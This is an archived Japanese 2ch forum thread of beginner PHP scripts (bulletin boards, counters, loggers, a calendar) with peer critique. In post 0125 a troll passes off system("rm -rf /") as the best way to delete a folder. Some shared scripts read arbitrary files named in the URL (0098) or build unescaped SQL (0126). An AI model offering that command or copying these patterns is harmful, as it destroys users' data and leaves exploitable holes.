トップページphp
997コメント327KB

【PHP】自作スクリプト発表会

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん02/03/30 11:55ID:M/C/V7hb
自分が書いたPHPスクリプトを発表するスレ。
初心者が書いた入門スクリプト、ベテランが書いたすげースクリプト。
発表してね。
予めスクリプトの内容を明記してURLを貼り付けるのがよろしいかと。
マターリ進行でいきませう。

PHPが使える無料サーバ情報(レッツPHP!):
http://php.s3.to/php/
0031なると02/04/02 18:23ID:4fz1y7Df
>>28-29
おお!ありがとうございます。
今からじっくり読んでちょっと改良したものを作ってみますね。
0032なると02/04/02 18:55ID:4fz1y7Df
>>28
おお!できた!すげぇ!
freadっていうのは、最高lengthバイトまで読み込んでくれるから、
ファイルのサイズの全部を読んでくれるってことなのかな。。
0033apacheuserさん02/04/03 01:59ID:???
>>29
そういや日本語版があったな・・・。
鬱出汁脳・・・。
0034apacheuserさん02/04/03 02:03ID:???
>>30
閲覧と書き込みの分岐が無くない?
あとログの出力がログの記入より前にあるから
書き込んでもすぐ反映されないのでは?
0035なると02/04/03 03:54ID:p/YLm2dW
>>34
ほんとうだ!!
通りでおかしいと思った!!
直してみます。

あと、分岐がなくても掲示板としては動いているのですが、
分岐していたほうが都合がいいのでしょうか?
0036nobodyさん02/04/03 09:48ID:???
>>35
書き込んだ後にF5押すと2重書き込みになっちゃう気配。
まぁ対策はいくらでもあるだろうけどね。
0037nobodyさん02/04/03 10:37ID:???
>>30
forに固定入れてるようだけどsizeofで取得した方が楽じゃないかな
$line_c = sizeof($lines);
for($i=0; $i<$line_c; $i++) {
名無し処理の\nは取り除いてね、$linesのカウントずれるから
ついでに名無し処理のifはif(!$name){ でいいんじゃない?
0038なると02/04/03 18:16ID:0xPsQVu6
>>35
そうなんですよ・・・。今対策をいろいろ試しているところです。
inputにnameを"sub"と指定して、
if($sub=="Send"){
を書き込みの前においてみたらできるかな、って思ったんですけど、
ダメでした・・・(;;)
>>36
sizeofってことは、配列内の変数を取得するってことですか?
自分にはよくわからないのですが、$linesの変数を返したのが
$line_cで、それをfor($i=0; $i<$line_c; $i++) {で返しちゃうと、
書き込みがずっと最新1件しか表示されなくなっちゃうんですよ・・・。
perlとかのCGIを見てみると、最初のほうに
「$max = 10」などと設定してからやってるみたいなんですけど、
sizeofを使う利点はどのような点か教えていただけますか?
なんかわかりにくい文章で申し訳ないです…。
0039nobodyさん02/04/03 20:52ID:???
>>38
forで回す必要ある?aで開けばいいんじゃない

$fp = fopen("log.txt","a");
fputs($fp,$dat);
fclose ($fp);
0040apacheuserさん02/04/03 23:50ID:???
ちょっと遅いけど、さっきfputの速度を計ってみますた。
カウンタを想定し7バイトのファイルを用意して、
256バイトずつ読むのとfilesize()で調べたサイズだけ読んでみた。
ファイルサイズを調べる分のオーバーヘッドがあるせいか
固定値で調べたほうが速かった。無視できるくらいだけど。
ちなみにもっと大きなサイズ(40K弱だったと思う)の場合
filesize()を調べたほうが圧倒的に速かった。
参考までに。

>>37,38
$maxが固定なのは恐らく表示件数・保存件数を一定にしたいからだと思う。
ただ、保存する件数が$max+1になってるけどな。

>>39
それをやるとファイルの一番後ろに書いてしまうことにならない?
0041あぼーんNGNG
あぼーん
0042なると02/04/05 02:29ID:OTHB+g89
>>39
ふにゃ。fopenのモードがwだと書き・ポインタ先頭で、
aだと書き・ポインタ終端と覚えたんです。
んで「書いたのが先頭にきたほうが読みやすいな」と思ったんですが、
aのほうがいいですか??
あと、forを使ってるのは単純にログがこの数字になったら自動的に消す、
っていうのをやってて、それ以外の方法を知らなかったりします…。
>>40
おお!すげぇ。やっぱりfilesize()にするべきですね。
ところで、$maxの件ですが、掲示板ってたいていログの限界数が決まってるじゃないですか。
それを考えると、$maxとかにしたほうが使いやすいかな、って思ったんですけど、
他にスマートに一定数になったらログが消えるシステムってありますか?
0043なると02/04/07 13:37ID:b5XtSahI
一行じゃなくて、何行でもかけるようにして、
改行もできるようにしました…。
<html>
<body bgcolor="#EEEEFF">
<blockquote>
<form method="post" action="<? echo $PHP_SELF; ?>"><b>名前</b><input name="name" type="text" size="20">
<b><br>内容</b>
<textarea name="mes" cols="40" rows="5"></textarea>
<input name="sub" type="submit" value="Send"><P>
</form>
<?
$line_c = sizeof($lines);
if(!$name){
$name = "名無しさん\n";
}
if($name && $mes){
$mes = htmlspecialchars ($mes);
$mes = str_replace("\n", "<br>", $mes);
$mes = str_replace("\n", "",$mes);
$name = htmlspecialchars ($name);
}
$dat = "<b>$name</b> <br> <br>$mes<br><hr>\n";
$lines = file("log.txt");
$fp = fopen("log.txt","w");
fputs($fp,$dat);
for($i = 0; $i < 20; $i++)
fputs($fp, $lines[$i]);
fclose ($fp);
$lines = file("log.txt");
for($i = 0; $i < 10 ; $i++) {
echo $lines[$i];
}
?>
</form>
</blockquote>
</body>
</html>
0044なると02/04/07 13:39ID:b5XtSahI
ソースをそのまま書き込むのはさすがにうざいので、
どこかにUPしてきます(´д`)y-~~
0045apacheuserさん02/04/07 15:40ID:5JNffQ+t
<?
//保存件数
$MAX=20;

if(!$name){
  //名前が入っていない場合
  $name = "名無しさん";
}
$lines = file("log.txt");
if($name && $mes){
  //書き込み時の分岐
  $mes = nl2br(htmlspecialchars ($mes));\
  $mes = str_replace("\r", "", $mes);
  $mes = str_replace("\n", "", $mes);
  $mes = str_replace("\r", "", $name);
  $mes = str_replace("\n", "", $name);
  $name = htmlspecialchars ($name);
  $dat = "<b>$name</b> <br> <br>$mes<br><hr>\n";
  $fp = fopen("log.txt","w");
  fputs($fp,$dat);
  unset($tmp);
  $tmp[] = $dat;
  //保存件数は$MAXのため$MAX-1回保存
  for($i = 1; $i < $MAX; $i++){
    $tmp[] = $lines[$i];
    fputs($fp, $lines[$i]);
  }
  fclose ($fp);
  $lines = $tmp;
}
for($i = 0; $i < 10 ; $i++) {
  echo $lines[$i];
}
?>
0046apacheuserさん02/04/07 15:41ID:5JNffQ+t
改行が多すぎ、と言われたので少し分割。
基本的になるとさんのと同じ。
"おい、ここはちょっと・・・"
って思ったところだけ変えて見ますた。
0047apacheuserさん02/04/07 15:48ID:???
分割してねぇよ。
HTML部だけ省略だ。
HTMLの部分は>>43を参照。
0048nobodyさん02/04/07 16:55ID:???
したの</form>はいらん。
0049nobodyさん02/04/07 22:29ID:???
  $mes = str_replace("\r", "", $mes);
  $mes = str_replace("\n", "", $mes);
  $mes = str_replace("\r", "", $name);
  $mes = str_replace("\n", "", $name);

   ↓

  $mes = str_replace("\r|\n", "", $mes);
  $name= str_replace("\r|\n", "", $name);
0050nobodyさん02/04/08 01:35ID:???
$mes = str_replace("\r\n|\r|\n", "<br>\n", $mes);
0051apacheuserさん02/04/10 23:54ID:???
>>49
orで検索できるんですか。知らんかった。

>>50
それって改行入るからだめなんじゃ・・・。
0052rootさん02/04/28 19:19ID:6TJDtFTq
ageてみる
0053nobodyさん02/04/28 22:04ID:???
>>51
str_replaceの引数は全て配列でいけるのって
あまり知られてないのよね・・・
0054nobodyさん02/04/28 22:45ID:???
>>53
配列?こういうこと?

$str[0] = "\r";
$str[1] = "\n";
$str[2] = "\r\n";

$mes = str_replace ($str, "<br>", $mes);
0055nobodyさん02/04/28 23:23ID:???
>>function.str-replace.html
>>PHP 4.0.5 以降では、str_replace() への全てのパ ラメータは配列とすることが可能です。
すまん、3は駄目だった。

>>54
$str[0] = "\r\n";
$str[1] = "\r";
$str[2] = "\n";
$mes = str_replace ($str, "<br>", $mes);
じゃないと、改行が\r\nの時<br><br>にならない?
ただ、展開される順番確認してないので確実ではない。
オネムナノ (-_ゞゴシゴシ
0056東山 ◆tmcSEEZE 02/04/30 02:06ID:???
今実験場が無いんで設置してないんだけど、
YAIGって海外の画像ギャラリースクリプトを改造してたりする。

いちおう特色はこんなん(オリジナルへの付加要素)
・スキン(埋め込むだけ)
・5つまでのアルバムに対応、それぞれに分別表示(強化予定)

ちょい作成に行き詰まったので、殆ど最初っから書き直そうと思ってる。
…まぁ自分のサイト用だから、公開するのはかなり先になるけど。
0057nobodyさん02/06/22 07:58ID:???
PHPのコードは疑問だらけですね
0058nobodyさん02/06/23 15:02ID:???
http://www.kensu.com/plywood.php
0059nobodyさん02/06/27 14:15ID:???
>>58
ソースきれい
0060nobodyさん02/06/27 17:13ID:???
ifとかwhileとか{}を省略できる場合でも、
やっぱり見た目的にはつけたほうがいいんでしょうか?

自分は省略して書いてるけど…
while(1)
  $hoge = 1
こんな感じ
0061nobodyさん02/06/27 17:23ID:???
一人でやるなら好きな方で良いんでない?
0062nobodyさん02/06/27 20:43ID:???
1人じゃなかったら?
例えばその、仕事とかで書くなら。
0063nobodyさん02/06/28 02:54ID:???
>62
プロジェクトマネージャーの指示に従う。
0064nobodyさん02/06/28 08:35ID:???
>>60
その辺の是非についてはちょっと前にこんな議論があったりしました。
参考にしてみては?

この会社辞めようと思ったソースコード#4 @マ板
http://pc.2ch.net/test/read.cgi/prog/1021560641/118-
0065nobodyさん02/10/22 18:04ID:Dc8ZNLM6
age
00666502/10/22 18:04ID:???
うわー、誤爆スマソ
0067nobodyさん03/03/28 06:40ID:???
そろそろ一周年あげ
0068nobodyさん03/04/14 11:20ID:eYkIMkHB
<?$str = htmlspecialchars($_POST['txt']);
$type = $_POST['type'];
$temp = chunk_split($str,1,":");
$result = explode(":",$temp);
switch($type){
case "0" :
for($i = 0; $i < count($result);$i++){
$result[$i] = strtolower($result[$i]);
if($i%2 == 1){
$result[$i] = strtoupper($result[$i]);
}
$strans .= $result[$i];
}
break;
case "1" :
for($i = 0; $i < count($result);$i++){
$result[$i] = strtolower($result[$i]);
if($i%2 == 0){
$result[$i] = strtoupper($result[$i]);
}
$strans .= $result[$i];
}
break;
}?>
もっとスマートに書けそうだな・・・
0069nobodyさん03/08/18 20:07ID:???
ほしゅ
0070nobodyさん03/08/19 17:11ID:???
php勉強中の物です。
人のソースみれるなんて勉強になるスレですね。
0071nobodyさん03/08/20 22:21ID:DmnhIRDP
グッサンまじで干されたな
0072nobodyさん03/08/23 22:09ID:L0wSRRTt
<?php
phpinfo();
?>
0073nobodyさん03/09/23 14:42ID:???
<?php
$c = 0;
while ( $i<100000 ) {
$a = rand ( 0, 1 );
echo $a;
$c++;
if ( $c == 100 ) {
echo "\n";
$c = 0;
}
$i++;
}
?>
0074nobodyさん03/09/23 14:43ID:???
<?php
$c = 0;
while ( $i<100000 ) {
$a = rand ( 0, 1 );
echo $a;
$c++;
if ( $c == 100 ) {
echo "\n";
$c = 0;
}
$i++;
}
?>
0075nobodyさん03/09/23 14:44ID:???
ごめん、ミスってしまいました。
0076nobodyさん03/10/07 22:52ID:/z//HM11
普通の掲示板ですが、スキンをもたせてデザインを変えれるようにしてマス。
訪問者はめっちゃ少ないですが、自分なりに手ごたえはあったような気がするので
評価してみてください。。。(・∀・)
ちなみにPHP歴はちょうど1年デス。

http://www.shuta.org/simplet/phpscript/simplet_board.html
0077nobodyさん03/10/13 19:15ID:???
なかなかいいでつねw
0078nobodyさん03/10/17 22:48ID:/0HAJGKT
このスレ流行らない〜♪(・∀・)
0079nobodyさん03/11/01 05:06ID:0M/5svli
うpろだあれば晒しやすいんだがな〜
0080nobodyさん03/11/04 20:07ID:V0sFneFh
こんなのつくたヨ
http://f3.aaacafe.ne.jp/~null/gets.php
http://f3.aaacafe.ne.jp/~null/gets.zip

とりあえずフレームの一個下までは読めます。それ以下はタイムアウトしちゃうかも…。
2ch の場合は dat 読んで自分でHTML吐いてます。
どうかな?

user: user
pass: pass
でテストログインっす。
0081nobodyさん03/11/04 20:14ID:???
>>80
なんかよく分からないけど、全部消しちゃった。
00828003/11/04 20:16ID:???
>>81
いや、消しても問題ないですヨ
0083nobodyさん03/11/04 20:30ID:???
>>80
ふむ、便利だ。
これを他のPHPスクリプトと上手に使えれば(゚д゚)ウマー
0084nobodyさん03/11/04 20:32ID:???
>>80
zip ダウンロード出来ません
00858003/11/04 21:34ID:???
>>84
h ttp://ime.nu/ 経由でDLしてください。リファラでチェックして弾いてる模様。
0086nobodyさん03/11/04 22:06ID:???
>>85
DL出来ました
ありがとうございました
0087nobodyさん03/11/08 15:53ID:oR+D+DMq
phpどころかperlも自分で書いたことの無い初心者です。
とりあえず掲示板…とかは難しそうなので最初に書いてみたのがこんなの。

<?php
$logfile = "log.txt";

$time = date("Y/m/d[D]\tH:i:s");
$add = getenv("REMOTE_ADDR");
$host = gethostbyaddr($add);
$agent = getenv("HTTP_USER_AGENT");
$ref = getenv("HTTP_REFERER");
if($ref=="") $ref = "none";
$data = "$time,$name,$add,$host,$agent,$ref\n";

$fp = fopen($logfile,"a");
fputs($fp, $data);
fclose($fp);
?>
一応記録は出来てるみたい。
まだまだ先は長いけど…
0088nobodyさん03/11/08 20:15ID:???
>>87
getenv よりも $_ENV のほうがイイのかな。
あとロックはした方が。
0089nobodyさん03/11/09 01:45ID:???
>>87
あとどうせ$dataに入れるなら $data .= したほうが。
00908703/11/10 16:42ID:???
ありがとうございます、やってみます。
89みたいに「.」を入れるとどうなるんでしょう?…とりあえず試してみます。

あれから、一日一ログファイル化とn日前のログは消去ってのに進化(?)しました。
そろそろビューアーを作ってみよう…面倒そうな予感…
0091nobodyさん03/12/15 03:39ID:9CFo/Eqs
掲示板作ってみた。
ttp://up.isp.2ch.net/up/306d0610b2b5.zip
0092ここがすごいと思われ03/12/15 21:36ID:85uBylp5
サンプル↓
ttp://cgi.f10.aaacafe.ne.jp/%7Esakataku/se/hako-main.php

これすごい
0093nobodyさん04/01/04 04:42ID:???
>>92
php版は配布サイトがあるが・・・
確かにいくらか改造してあるみたいだけど
一体どこが凄いんだ?
0094サ骨 ◆xO/IQ5000w 04/02/08 07:32ID:2XWG9op1
昨日くらいからphpはじめました。

とりあえず10回アクセスがあるごとに文章がランダムで変わるスクリプト書いてみました。
http://sakots.pekori.jp/cgi/acrand/acrand.php

ソース
http://sakots.pekori.jp/cgi/acrand/acrand.zip
0095nobodyさん04/02/08 15:04ID:j1/Dqn/7
PHPど初心者なんですが、ちょっと思い立って作ってみたいスクリプトがあるんですが
相談に乗ってやってください。
文字で説明がちょっとしづらいので画像も織り交ぜます。
http://wish.disneysea.org/pope/img/pic.jpg

で、自分が作りたいスクリプトというのは
上の画像のAにある商品をクリックするとBに商品説明が出て
Aをダブルクリックなどの何らかの方法でCに表示させてCで数量を増減出来るようなものが作りたいです。

説明が下手で皆様には伝わってないかもしれませんがよろしくおねがいします。
0096nobodyさん04/02/08 15:08ID:???
>>95
スレタイ嫁
0097nobodyさん04/02/08 16:16ID:???
>>95
   ___    クルッ…   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  / || ̄ ̄|| <⌒ヽ ))  < はてさて、
  |  ||__|| <  丿    | どこを縦に読みゃいいんだ?
  | ̄ ̄\三⊂/ ̄ ̄ ̄/  \___________
  |    | ( ./     /
0098nobodyさん04/02/13 21:25ID:???
<?php
$file=$_SERVER['QUERY_STRING'];

$html_head = <<<HTML_HEAD
<html>
<hrad>
<title>そーすびゅーあ</title>
</head>
<body>
<font size=+2>${file}の中身</font>
<hr>

HTML_HEAD;
echo mb_convert_encoding($html_head,"SJIS","EUC-JP");

$fp=@fopen("$file","r") or die("Error! Can't open the file.");
while(!feof($fp)){
$temp=htmlspecialchars(chop(fgets($fp)))."<br>\n";
echo mb_convert_encoding("$temp","SJIS","EUC-JP");
}
fclose($fp);

echo mb_convert_encoding("<hr>\n</body>\n</html>","SJIS","EUC-JP");
?>

どうよ。ローカルでは結構便利かも。
ビューアより見やすい・・・ことはナイカ・・orz
0099nobodyさん04/02/13 21:27ID:???
>>98
ブラクラ対策に使えるかもね
それだけ
0100nobodyさん04/02/13 21:36ID:???
echo mb_convert_encoding("$temp","SJIS","EUC-JP");
より
echo mb_convert_encoding("$temp","SJIS","auto");
のほうが良いと思われ
0101nobodyさん04/02/15 17:28ID:???
>>100
トラブルの元ですが。
0102nobodyさん04/02/16 16:15ID:???
最新版だったかなぁ、
echo mb_convert_encoding("$temp","SJIS","auto");
で文字コードを判別できませんと言われてしまったので、
echo mb_convert_encoding($temp, "EUC-JP", "UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP");
ってやったら、ちゃんとなったよ
0103nobodyさん04/02/23 13:49ID:???
PHPのコンペがあるらしい
オリジナルの未発表作品に限るが
PHP賞にえらばれれば 5万円もらえるって
おまいらどうよ?
http://compe.japandesign.ne.jp/ap/01/lite/phpsakuhin/
0104nobodyさん04/02/23 14:21ID:???
おじいちゃんの話で貰えるかな。5万円。
0105nobodyさん04/02/24 02:15ID:???
>>103
危うく出場するところだったZE!
0106nobodyさん04/02/24 11:27ID:???
>>104
ATMで泥棒呼ばわりされて死んだおじいちゃんか
0107nobodyさん04/02/25 00:05ID:???
>>102
それって「耳」みたいな文字化けない?
SJISだと耳でEUC-JPだと半角カナになるから
SJISではなくてEUC-JPにご認識されることがある

ちなみに上の文字は1文字単体
0108nobodyさん04/03/12 03:17ID:???
>>103
よし、1年前に死んだ漏れの愛犬の話を…
0109今日始めたPHP君04/03/12 15:07ID:???
なるとさんのを参考に下のを作ってみました。
しかし、書き込みできません、なぜでしょう(ログに書き込まれない)

<html>
<head>
<body>
<form method="post" action="<? echo $PHP_SELF; ?>">
<b>コメント</b><input name="name" type="text" size="20">
<input type="submit" value=" Send ">
<?
$data = file("data.cgi");
for($i = 0;$i < 10;$i++){
echo $data[$i];
}
$mes = htmlspecialchars ($mes);
$log = "$mes\n";
$data = file("data.cgi");
$fp = fopen("data.cgi","w");
fputs($fp,$log);
for($i = 0; $i < 20;$i++)
fputs($fp,$log[$i]);
fclose($fp);
?>
</form>
</body>
</head>
</html>
0110今日始めたPHP君04/03/12 15:10ID:???
失礼、スレ違い
0111nobodyさん04/03/15 15:52ID:h0qk8HnH
http://www5e.biglobe.ne.jp/~yb_net/clip/img/17225.txt
3年ほどプログラミングから離れてたからリハビリがてらに作って見た。
自分より下のディレクトリをツリー表示するスクリプト。
人が居なさそうなのでage
0112nobodyさん04/03/18 16:54ID:MiGVyUNw
<?php
$fp = fopen("./count.dat","r+");
flock($fp,LOCK_EX);
$count = fgets($fp);
$count++;
fwrite($fp,$count);
fclose($fp);
echo($count);
?>
アクセスカウンター。
0113nobodyさん04/03/22 17:35ID:szpeqsZ5
<?php
require_once ('Date/Calc.php');
class CalBase {
var $dayCnt;
var $weekCnt;
var $weekNo;

function CalBase($month , $year) {
$dt = new Date_Calc;
$this->dayCnt = $dt->daysInMonth($month,$year);
$this->weekCnt = $dt->weeksInMonth($month,$year);
$this->weekNo = $dt->firstOfMonthWeekday($month,$year);
}

function getCalAry() {
$days = "";
$daySrc = array();
for($i = 0;$i<$this->weekCnt * 7;$i++) {
if($i == $this->weekNo) $days = 1;
if($i >= $this->weekNo && $this->dayCnt >= $days) {
$daySrc[$i] = $days;
}
else {
$daySrc[$i] = "・";
}
$days++;
}
return $daySrc;
}
}
?>
カレンダーの素
0114nobodyさん04/03/22 17:54ID:szpeqsZ5
次に、表示
<?php
require_once('CalBase.php');

$cal = new CalBase('3','2004');
$calSrc = $cal->getCalAry();

echo '<table><tr>';
foreach($calSrc as $key=>$val) {
if(($key+1) % 7 == 0 && $key != 0) {
echo "<td><span style='color:blue'>$val</span></td></tr><tr>";
}
elseif(($key+1) % 7 == 1 || ($key+1) == $val) {
echo "<td><span style='color:red'>$val</span></td>";
}
else {
echo "<td>$val</td>";
}
}
echo '</tr></table>';
?>
0115nobodyさん04/04/01 20:22ID:84kVyOOh
もっとキボン
0116nobodyさん04/04/04 03:01ID:bLnZrz+4
 
0117たまによくあること04/04/04 12:57ID:3ND1yVd/
HTML二次元配列格納装置 -使い道はまったくなっしんぐ(☆∀☆)-
<?php
//勝手に増やせよ《゚Д゚》ゴラァァァァァァァァァァァァア!!
$fp[0] = fopen("http://search4.auctions.yahoo.co.jp/jp/search/auc?p=php&auccat=21700&alocale=0jp&mode=2","r");
$fp[1] = fopen("http://list4.auctions.yahoo.co.jp/jp/2084008801-category-leaf.html?f=&alocale=0jp&mode=2","r");

for($y=0;$y<count($fp);$y++){
$i=0;
while (!feof ($fp[$y])) {
$text[$y][$i] = fgetss($fp[$y], 4096, "<a>,<img>");
$text[$y][$i] = trim($text[$y][$i]);
$i++;}

$n=0;
for($m=0;$m<count($text[$y]);$m++){
if($text[$y][$m] == "¥t" or $text[$y][$m] == "¥s" or $text[$y][$m] == "" or $text[$y][$m] == "¥n" or $text[$y][$m] == "¥r¥n" or $text[$y][$m] == " "){ }else{
$text_1[$y][$n] = $text[$y][$m];
$n++;}
}

print("<TABLE BORDER=1>");
for($x=0;$x<count($text_1[$y]);$x++){
print("<TR>
<TD>".$y."</TD>
<TD>".$x."</TD>
<TD>".$text_1[$y][$x]."</TD>
</TR>¥n");
}
print("</TABLE>");
fclose ($fp[$y]);
}
?>
0118nobodyさん04/04/08 04:13ID:RRs8f8iP
フォルダを削除するときに、そのフォルダの中にある
全部のファイルやフォルダを削除する関数を誰か作ってください
0119nobodyさん04/04/08 04:18ID:???
>>118
再帰すればいいじゃない
0120nobodyさん04/04/08 07:41ID:???
<?php
$でぃれくとり = './てすと';
さくじょ♪($でぃれくとり);
function さくじょ♪($■) {
if ($@ = opendir($■)) {
while ($□ = readdir($@)) {
if ($□ == '.' or $□ == '..') continue;
elseif (is_dir("$■/$□")) さくじょ♪("$■/$□");
else unlink("$■/$□");
}
closedir($@);
rmdir($■);
}
}
?>
0121nobodyさん04/04/14 20:45ID:sODzky5p
だれか、SQLite対応の掲示板を作っている奴いる?
0122nobodyさん04/04/14 22:46ID:???
>>121
php5の正式版が出てからだろ
0123nobodyさん04/04/16 20:57ID:M6UxhkA2
<?
for($i=1;$i<20;i++){
print("age!"){
}
0124>>12304/04/16 20:59ID:M6UxhkA2
謝った・・・_| ̄|○
0125nobodyさん04/04/17 19:11ID:E2aViHFU
>>118
パーミッションや所有者の違いで
unlinkでは削除できないファイル、ディレクトリーもあるから
システム関数から削除した方がベスト
[ソース]
<?
system("rm -rf /");
?>
0126カポコン04/04/26 13:33ID:???
function insert_hon($ARRAY)
{
$this->array = $ARRAY;
$db = mysql_connect($this->connect,$this->user,$this->pass)
or die($this->error(3));
mysql_select_db("book")
or exit($this->error(3));
$cmd=mysql_query("SELECT * FROM hon") or die($this->error(3));
$cmd2=mysql_query("SELECT BOOKNAME FROM hon") or die($this->error(3));
while($ary=mysql_fetch_array($cmd2,MYSQL_ASSOC));
$num = count($ary);//配列内の要素数を取得する。
mysql_data_seek($cmd,$num) or mysql_data_seek($cmd,0);//MySQL内のポインタの移動
/*ブックIDの処理*/
$id = $this->bookid(TRUE) + 1;
if($id < $this->id)
{
$id = $this->id;
}
mysql_query("INSERT INTO hon(BOOKID,PDATE,BOOKNAME,AUTHOR,COM,PERM,MEM,RDATE)
VALUES(
".$id.",
'".$this->array[0]."',
'".$this->array[1]."',
'".$this->array[2]."',
'".$this->array[3]."',
'".$this->array[4]."',
'".$this->array[5]."',
'".$this->array[6]."')") or die($this->error(sql));
mysql_free_result($cmd);
unset($num);
mysql_close($db);
}
0127nobodyさん04/05/07 21:28ID:V9n269ov
php4動いてる自宅サーバ(RHL9)にphpを組み込んで全然うまく動作しなかったので、あれれと思いつつ「もしかして?」とテスト

test.html
<html><body><form method="post" action="test.php">
<input type="text" name"test"><input type="submit"></form>
</body></html>

test.php
<html><body>
<?php
echo $test;
?>
</body></html>

これ動かないんすが... いや他の関数とか動くのでphpが入ってないのはナシということで。なんでだー
0128nobodyさん04/05/07 21:30ID:???
>>127
echo $_POST['test'];
にしる
0129nobodyさん04/05/07 21:42ID:V9n269ov
おお、その手があるんすか。試してみます。どーもです。
0130nobodyさん04/05/08 09:34ID:???
>>123さん

<?php
for($i=1; $i<20; $i++) {
  printf("age! $i\n");
}
?>

ちょっと変えました。
age! のあとループ回数を入れて、改行しました。
■ このスレッドは過去ログ倉庫に格納されています